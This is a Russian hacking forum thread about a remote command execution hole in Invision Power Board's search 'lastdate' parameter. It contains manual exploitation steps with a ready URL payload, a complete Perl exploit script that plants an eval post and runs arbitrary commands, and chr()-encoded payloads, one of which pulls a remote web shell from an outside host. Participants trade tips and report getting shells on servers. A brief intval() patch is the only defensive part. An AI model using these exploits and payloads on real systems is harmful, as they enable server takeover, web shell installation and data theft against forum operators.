Создали? Теперь откройте новую закладку в браузере (так удобнее будет) и перейдите к поиску. В поиске укажите: искомый текст eval, ваш логин, а также не забудьте указать “Показывать результаты ввиде сообщений”. Ищем только что созданный пост. Нашелся? Замечательно. Теперь в этом же окне добавьте в конец URL такую строчку:

&lastdate=z|eval.*?%20//)%23e%00

Адресная строка браузера должна иметь приблизительно такой вид:

http://localhost/ipb/index.php?act=Search&CODE=show&searchid=…&search_in=posts&result_type=posts&highlite=system&lastdate=z|eval.*?%20//)%23e%00

Жмите enter. Если вы все сделали правильно и форум уязвим, то вы увидите вывод информации о интерпретаторе PHP.
Но нам нужен шелл.
Вернемся к нашему сообщению. Надеюсь, у вас есть права на его редактирование? Если это так, переходите к его редактированию. Однако у этой уязвимости есть одна особенность: вы не можете использовать функции в привычном виде (system(”ls”) например). Нужно все символы аргументов переводить из их кода. То есть вместо system(”ls”) писать system(chr(34).chr(108).chr(115).chr(34)). Согласитесь, что это не совсем удобно, самому деражть в голове, искать где-то коды символов. Поэтому я набросал простенькую утилиту, которая преобразует команду за вас и выведет ее в пригодной для употребления форме. Например, вы вводите ls, а на выходе получаете строку eval(system(chr(108).chr(115)).chr(59).exit()); //. Утилита также содержит сей хэлп, только на английском языке (заранее приношу извинения, если что-то не так написал). Вы можете просто пропустить весь хэлп и и перейти непосредственно к энкодеру.
Отредактировав сообщение, возвращайтесь к странице поиска и просто обновите ее. Таким образом, вы можете выполнять любые доступные вам команды.

Теперь перейдем к защите от этой напасти. Открываем файл sources/action_public/search.php и ищем в нем регулярное выражение:

this->output = preg_replace( “#(value=[\”‘]{$this->ipsclass->input[’lastdate’]}[\”‘])#i”, “\\1 selected=’selected’”, $this->output );

Которое заменяем на:

$this->output = preg_replace( “#(value=[\”‘]”.intval($this->ipsclass->input[’lastdate’]).”[\”‘])#i”, “\\1 selected=’selected’”, $this->output );

Как видите, патч состоит в том, что уязвимый параметр приводится к типу integer.

P.S. Ни я, ни кто другой не несут ответственности за применение этой информации.
© not null | Security Bunker Team

tmp
03.05.2006, 01:22
А на 1.3 final не проходит :((

TRes
03.05.2006, 12:05
Статейка в тему, думаю полезно будет...


Может я дурак, но кроме phpinfo() ничего не выполняется :confused: положительный результат есть у кого?

CobanS
03.05.2006, 12:46
а как в версии 2.0.4 сделать,?? что не катит...шел не загружаеться.

xdye
03.05.2006, 14:04
У меня не однократно) Воше дыра супер, обажаю шелл

Black_Death
03.05.2006, 14:24
Сори за то, что немного не по теме, но никто не юзал?

#!/usr/bin/perl
# Wed Apr 26 16:44:15 CEST 2006 jolascoaga (at) 514 (dot) es [email concealed]
#
# INVISION POWER BOARD 2.1.5 <www.invisionboard.com> pr00f 0f c0ncept
#
# remote command execution. vuln credits goes to IceShaman.
#
# works only if you have perms to post a comment. Exploit with replye is
# in my TODO...
#
# 514 still r0xing.
# !dSR the hardc0re hax0rs ;)
# There is no kwel comments in this release, wait for next upgrade
################################################## #####################/

use LWP::UserAgent;
use HTTP::Cookies;
use LWP::Simple;
use HTTP::Request::Common "POST";
use HTTP::Response;
use Getopt::Long;
use strict;

$| = 1; # ;1 = |$

my ($proxy,$proxy_user,$proxy_pass,$lang);
my ($arg_host,$debug,$ipb_user,$ipb_pass, $lang, $errors, $topic_index, $tmp_var);
my ($md5_key, $post_key, $tmp_var);

my %lang_es = (
'name' => 'Spanish Language',
'login' => "Ahora estas identificado",
'incorrect' => "Nombre de usuario o contrasena incorrectos",
'deleted' => "Tema Eliminado"
);

my %lang_en = (
'name' => 'English language',
'login' => "You are now logged in",
'incorrect' => "Sorry, we could not find a member using those log in details",
'deleted' => 'Topic Deleted',
);
my %lang_strings = ();

my $ua = new LWP::UserAgent(
cookie_jar=> { file => "$$.cookie" });

my $options = GetOptions (
'host=s' => \$arg_host,
'proxy=s' => \$proxy,
'proxy_user=s' => \$proxy_user,
'proxy_pass=s' => \$proxy_pass,
'ipb_user=s' => \$ipb_user,
'ipb_pass=s' => \$ipb_pass,
'lang=s' => \$lang,
'errors' => \$errors,
'debug' => \$debug);

my ($host, $forum_index) = $arg_host =~ m/(http.*?)index.*?showforum=(.*)/;
print "Host: $host\nForum Index: $forum_index\n" if $debug;

&help unless ($host);

# w0w0w0w0w0 is smarter than some one i know :D
if (!$lang) {
lang_autodetect();
print "Detected lang is: $lang_strings{'name'}\n" if $debug;
}

while (1){
print "invvy:\\> ";
my $cmd = <STDIN>;
&invvy($cmd);
}

sub invvy {
chomp (my $cmd = shift);
LWP::Debug::level('+') if $debug;

$ua->agent("Morzilla/5.0 (THIS IS AN EXPLOIT. IDS, PLZ, Gr4b ME!!!");

$ua->proxy(['http'] => $proxy) if $proxy;
my $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

ipb_login (); # This works with redirects enabled/disabled

ipb_post(); # Post in a main forum.

ipb_exec ($cmd);

ipb_delete ($forum_index, $topic_index);
}
# guglucitos team presents:

sub help {
print "Syntax: ./$0 <url> [options]\n";
print "\t--ipb_user, --ipb_pass (needed if dont allow anonymous posts)\n";
print "\t--proxy (http), --proxy_user, --proxy_pass\n";
print "\t--lang=[es|en] (default: autodetect)\n";
print "\t--debug\n";
print "\t--errors\n";
print "\nExample\n";
print "bash# $0 --host=http://www.somehost.com/index.php?showforum=2\n";
print "\n";
exit(1);
}

# sponsorized by coca-cola
sub lang_autodetect {

my $req = HTTP::Request->new (GET => $host."/index.php");
$ua->proxy(['http'] => $proxy) if $proxy;
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

print $req->as_string() if $debug;

my $res = $ua->request($req);
my $html = $res->content();

if (($html =~ /Bienvenido,/) or ($html =~ /Fecha y Hora actual/)) {
%lang_strings = %lang_es;
return;
}
if (($html =~ /Welcome,/) or ($html =~ /Time is now/)) {
%lang_strings = %lang_en;
return;
}
print "Unknown lang switching to default: 'english'\n";
%lang_strings = %lang_en;
}

# login function for 2.1.5
sub ipb_login {
my $content;
my $h = $host."/index.php?act=Login&CODE=01";
print $h . "\n" if $debug;
my $req = POST $h,[
'referer' => $host,
'UserName' => $ipb_user,
'PassWord' => $ipb_pass,
'CookieDate' => 1
]; #grab these, and send to dsr!
print $req->as_string() if $debug;
my $res = $ua->request($req);
if ($errors) {
print "[+] Context: Login in\n";
print "HTTP Error code: ".$res->code()."\n";
print "HTTP Location: ".$res->header("Location")."\n";
my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s;
print "- ERROR -\nFind string: ".$lang_strings{'login'}."\n$error\n- ERROR -\n";
}
if ($res->code() eq 302) {
$content = redirect ($res->header("Location"));

} else {

$content = $res->content();
}

if ($content =~ /$lang_strings{'login'}/ or $content =~ /Logged in as/) {
print "Logged in\n" if $errors;
} else {
die "Can't log in\n";
}

}

sub redirect {
my ($addr) = @_;
my $req = HTTP::Request->new (GET => $addr);
$ua->proxy(['http'] => $proxy) if $proxy;
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

print $req->as_string() if $debug; # MKSINK is r0xer

my $res = $ua->request($req);
my $html = $res->content();

return $html;
}

sub ipb_post {
# This is for posting into a main index.

my $h = $host."/index.php?act=post&do=new_post&f=".$forum_index;

my $req = HTTP::Request->new (GET => $h);
$ua->proxy(['http'] => $proxy) if $proxy;
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

print $req->as_string() if $debug; #dirty_epic r0x++

my $res = $ua->request($req);
my $html = $res->content();

($md5_key) = $html =~ m/var ipb_md5_check\s+= \"(.*?)\"/;
($post_key) = $html =~ m/post_key' value='(.*?)'/;

print "AUTH check: $md5_key\n" if $debug;
print "POST key: $post_key\n" if $debug;

$tmp_var = int(rand(31337));
my $exploitme = 'eval(system(getenv(HTTP_'.$tmp_var.'))); //'; # seeeeeei la weeeeei
$h = $host."/index.php";

print $h."\n" if $debug;

my $req = POST $h, [
'st' => 0,
'act' => "Post",
's' => '',
'f' => $forum_index,
'auth_key' => $md5_key,
'removeattachid' => 0,
'MAX_FILE_SIZE' => 51200000,
'CODE' => '01',
'post_key' => $post_key,
'TopicTitle' => '514 pwned',
'TopicDesc' => '',
'poll_question' => '',
'ffont' => 0,
'fsize' => 0,
'Post' => $exploitme,
'post_htmlstatus' => 0,
'enableemo' => 'yes',
'enablesig' => 'yes',
'mod_options' => 'nowt',
'iconid' => 0,
'dosubmit' => 'Post New Topic'
];

$ua->proxy(['http'] => $proxy) if $proxy;
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

print $req->as_string() if $debug;
my $res = $ua->request($req);
my $html = $res->content();

print "Location: ".$res->header("Location") if $debug;
($topic_index) = $res->header("Location") =~ m/showtopic=(\d+)/;
if ($errors) {
print "[+] Context: Creating post\n";
print "HTTP Error code: ".$res->code()."\n";
print "HTTP Location: ".$res->header("Location")."\n";
print "Topic Index: ".$topic_index."\n";
my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s;
print "- ERROR -\nFind string: none\n$error\n- ERROR -\n";
}

}

sub ipb_delete {
my ($fid, $tid) = @_;
my $req;
print "Deleting Topic: $tid from forum: $fid\n" if $debug;

my $h = $host."/index.php";
$req = POST $h, [
'st' => 0,
'act' => 'mod',
'f' => $fid,
'auth_key' => $md5_key,
'CODE' => '08',
't' => $tid,
'submit' => 'Delete this topic'
]; # fuck windows automatic reboot
print $req->as_string() if $debug;
$ua->proxy(['http'] => $proxy) if $proxy;
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

my $res = $ua->request($req);

if ($errors) {
print "[+] Context: Deleting Topic\n";
print "HTTP Error code: ".$res->code()."\n";
print "HTTP Location: ".$res->header("Location")."\n";
print "Topic Index: ".$topic_index."\n";
my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s;
print "- ERROR -\nFind string: ".$lang_strings{'deleted'}."\n$error\n- ERROR -\n";
}
# yow yow
if ($res->code() eq 200) {
if ($res->content() =~ /$lang_strings{'deleted'}/) {
print "Topic $topic_index deleted\n" if $errors;
} else {
print "Maybe there was errors deleting post: $topic_index\n" if $errors;
}
}
}

# shhhhh this is hidden
sub ipb_exec {
my ($cmd) = @_;
my $h = $host."/index.php?act=Search&CODE=01";
my $req = POST $h, [
'keywords' => "HTTP_".$tmp_var,
'namesearch' => '',
'forums[]' => $forum_index,
'prune' => 0,
'prune_type' => 'newer',
'result_type' => 'posts',
'search_in' => 'posts',
'sort_key' => 'last_post',
'searchsubs' => '1'
];
print $req->as_string() if $debug;
$ua->proxy(['http'] => $proxy) if $proxy;
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

my $res = $ua->request($req);
my $html = $res->content();

my ($redir) = $html =~ m/url_bit.*?\"(.*?)\"/;
print "Redirect to: $redir\n" if $errors; # don't ask

if ($errors) {
print "[+] Context: First search\n";
print "HTTP Error code: ".$res->code()."\n";
print "HTTP Location: ".$res->header("Location")."\n";
print "Topic Index: ".$topic_index."\n";
my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s;
print "- ERROR -\nFind string: none\n$error\n- ERROR -\n";
}

if ($res->code eq 302) {
$redir = $res->header("Location");
}

# piere - tonite is a great song
my $req = HTTP::Request->new (GET => $redir.'&lastdate=z|eval.*?%20//)%23e%00');
$ua->proxy(['http'] => $proxy) if $proxy;
$req->header($tmp_var => 'echo STARTXPL;'.$cmd.';echo ENDXPL');
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

print $req->as_string() if $debug;

my $res = $ua->request($req);
my $html = $res->content();

$html =~ m/STARTXPL(.*?)ENDXPL/s;
print $1."\n";

# no matter with you
if ($errors) {
print "[+] Context: Executed\n";
print "HTTP Error code: ".$res->code()."\n";
print "HTTP Location: ".$res->header("Location")."\n";
print "Topic Index: ".$topic_index."\n";
my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s;
print "- ERROR -\nFind string: none\n$error\n- ERROR -\n";
}

}
# be aware with la roca peoplee

xdye
03.05.2006, 14:32
Я юзал не чего не вышло) не есть гуд ИМХО

max_pain89
03.05.2006, 15:11
Если честно, то руками выходит быстрее. Особенно если заинклудить rst.

xdye
03.05.2006, 15:32
Может вылажишь мануал как руками?

Azazel
03.05.2006, 16:10
Может вылажишь мануал как руками?Сколько можно мусолить тему? Уже и видео есть и мануалов несколько.
Мануал: http://forum.antichat.ru/showpost.php?p=146231&postcount=91

Читайте топик сначала.

xdye
03.05.2006, 16:22
а ты про это? да я это юзал и щас юзаю тему четал самого начала так что я прсто не понял очень он говарит думал что что то новенькое ивени.

L1on
03.05.2006, 21:36
Для тех у кого не получается со сплойтом, опишу как пользоваться ручками.
1. Постим сообщение eval(system(dir)); //'
2. В поиске ищем по своему нику все сообщения и не забываем поставить галочку на Show results as posts
3. В конце url дописываем &lastdate=z|eval.*?%20//)%23e%00
4. Enter. Выполняется dir.


Вставляю в сообщение eval(system(ls)); //' , выдаёт, как и надо, файлы на сервере, делаю eval(system(id)); //', работает, вообще, работают все команды из одного слова. Но когда пробую например ls -la, или which wget, то пишет ошибку. Но тогда и шелл нельзя залить... Что я делаю не так?

Black_Death
04.05.2006, 11:34
Попробуй кодирование команд, например eval(system(chr(108).chr(115).chr(32).chr(45).chr( 108).chr(97)).chr(59).exit());//

ysmat
04.05.2006, 11:37
Может я дурак, но кроме phpinfo() ничего не выполняется :confused: положительный результат есть у кого?
а какие команды вобще существуют
и где можно почитать об них

Azazel
04.05.2006, 11:48
Попробуй кодирование команд, например eval(system(chr(108).chr(115).chr(32).chr(45).chr( 108).chr(97)).chr(59).exit());//
Именно так и надо. Странно, в топике уже про это писали, а вопросы всё возникают. В видео тоже кто-то так делал и ссылку выкладывал.
а какие команды вобще существуют и где можно почитать об них
1. http://forum.antichat.ru/thread7345.html
2. Поиск по форуму.
3. Google.ru

TRes
04.05.2006, 15:47
eval( chr(105). chr(110). chr(99). chr(108). chr(117). chr(100). chr(101). chr(32). chr(34). chr(104). chr(116). chr(116). chr(112). chr(58). chr(47). chr(47). chr(114). chr(115). chr(116). chr(46). chr(118). chr(111). chr(105). chr(100). chr(46). chr(114). chr(117). chr(47). chr(100). chr(111). chr(119). chr(110). chr(108). chr(111). chr(97). chr(100). chr(47). chr(114). chr(53). chr(55). chr(115). chr(104). chr(101). chr(108). chr(108). chr(46). chr(116). chr(120). chr(116). chr(34). chr(59). chr(47). chr(42). chr(32) ); //
Include шелла RST. С ним все что угодно сделаете ;)

Azazel
05.05.2006, 21:35
Тема выполнения произвольного кода на ИПБ закрыта. Всё что нужно для взлома в теме описано. Всё остальное в гугле. Ура!